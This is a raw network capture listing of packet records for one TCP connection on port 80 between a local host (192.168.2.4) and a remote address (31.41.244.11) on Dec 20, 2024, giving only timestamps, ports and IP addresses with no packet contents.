Dec 20, 2024 09:12:23.053539038 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.053878069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.053920984 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.054004908 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.054058075 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.054687977 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.054750919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.054785967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.054843903 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.055583954 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.055640936 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.056557894 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.056616068 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.057066917 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.057082891 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.057136059 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.057166100 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.057202101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.057248116 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.057436943 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.057492018 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.058077097 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.058131933 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.058185101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.058243036 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.058885098 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.058940887 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.059134007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.059216976 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.059830904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.059881926 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.060050964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.060108900 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.060595036 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.060651064 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.060703039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.060761929 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.061434984 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.061484098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.061508894 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.061574936 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.062267065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.062325001 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.062436104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.062488079 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.063083887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.063142061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.063472986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.063528061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.063949108 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.064003944 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.064435959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.064482927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.064770937 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.064829111 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.064886093 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.064944983 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.065684080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.065741062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.065746069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.065795898 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.066580057 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.066633940 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.066728115 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.066782951 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.068053007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.068128109 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.068252087 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.068286896 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.068304062 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.068321943 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.068332911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.068376064 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.069062948 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.069117069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.069118023 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.069183111 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.069860935 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.069912910 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.070028067 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.070075989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.070713043 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.070765972 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.070960045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.071003914 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.071527958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.071577072 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.074347019 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074402094 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.074661016 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074676991 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074692011 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074707031 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074723959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074726105 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.074743032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.074755907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.074776888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.074809074 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.075376987 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.075428963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.075728893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.075779915 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.076220989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.076271057 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.076387882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.076443911 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.077089071 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.077137947 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.077168941 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.077223063 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.077879906 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.077929974 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.077953100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.078008890 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.078699112 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.078759909 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.078977108 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.079027891 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.079432964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.079487085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.079677105 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.079731941 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.080578089 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.080626011 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.080771923 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.080826044 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.081365108 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.081418037 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.089529037 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.089621067 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.089653015 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.089708090 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.089948893 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.090068102 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.090070963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.090118885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.090763092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.090818882 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.091095924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.091144085 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.091238976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.091286898 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.091983080 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.092036009 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.092742920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.092797995 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.092859030 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.092875957 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.092926979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.092958927 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.093732119 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.093785048 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.093821049 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.093875885 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.094450951 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.094502926 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.234932899 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.235002995 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.235178947 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.235234022 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.235344887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.235380888 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.235394955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.235438108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.236169100 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.236232042 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.236562967 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.236622095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.236959934 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.237025976 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.237839937 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.237875938 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.237896919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.237927914 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.237932920 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.237973928 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.238634109 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.238682985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.238944054 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.239010096 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.239504099 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.239521980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.239562035 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.239608049 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.240314007 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.240374088 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.241184950 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.241200924 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.241230011 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.241256952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.241261959 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.241341114 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.241986990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.242074966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.242156029 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.242206097 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.242855072 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.242872000 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.242912054 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.242944002 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.243666887 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.243724108 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.243941069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.243998051 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.244520903 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.244538069 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.244580030 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.244616985 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.245357990 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.245409012 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.245491028 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.245538950 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.246262074 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.246325970 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.247050047 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.247067928 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.247083902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.247104883 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.247134924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.247883081 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.247936010 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.248805046 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.248821974 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.248837948 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.248867989 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.248904943 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.249577045 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.249629974 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.249735117 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.249783993 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.250447989 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.250468969 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.250505924 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.250536919 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.251245022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.251302958 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.251727104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.251794100 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.252083063 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.252161980 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.252209902 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.252268076 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.252947092 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.253026009 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.253540039 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.253597021 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.253808022 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.253823996 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.253870010 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.253902912 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.254676104 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.254694939 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.254726887 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.254757881 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.255450964 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.255511999 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.255814075 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.255867004 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.256339073 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.256392956 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.257244110 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.257261038 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.257277012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.257317066 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.257349968 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.257975101 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.258024931 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.258215904 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.258270979 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.258816004 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.258888960 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.259228945 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.259279966 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.259680986 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.259699106 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.259736061 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.259779930 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.260504961 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.260607958 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.260641098 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.260675907 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.261338949 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.261392117 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.261492014 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.261545897 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.262211084 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.262228012 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.262265921 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.262296915 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.263042927 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.263098955 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.263288021 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.263349056 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.263854980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.263911963 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.264626980 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.264683962 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.264727116 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.264748096 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.264782906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.264812946 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.265595913 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.265647888 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.265861034 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.265922070 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.266422033 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.266479969 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.266896009 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.266957998 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.267292976 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.267349005 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.267433882 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.267498016 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.268090963 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.268152952 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.268490076 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.268539906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.268949032 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.269015074 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.269182920 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.269241095 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.269795895 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.269854069 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.269922018 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.269973040 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.270648956 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.270683050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.270716906 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.270736933 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.271455050 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.271518946 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.271960020 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.272012949 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.272309065 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.272356033 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.272521973 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.272602081 CET	49785	80	192.168.2.4	31.41.244.11
Dec 20, 2024 09:12:23.273154020 CET	80	49785	31.41.244.11	192.168.2.4
Dec 20, 2024 09:12:23.273206949 CET	49785	80	192.168.2.4	31.41.244.11
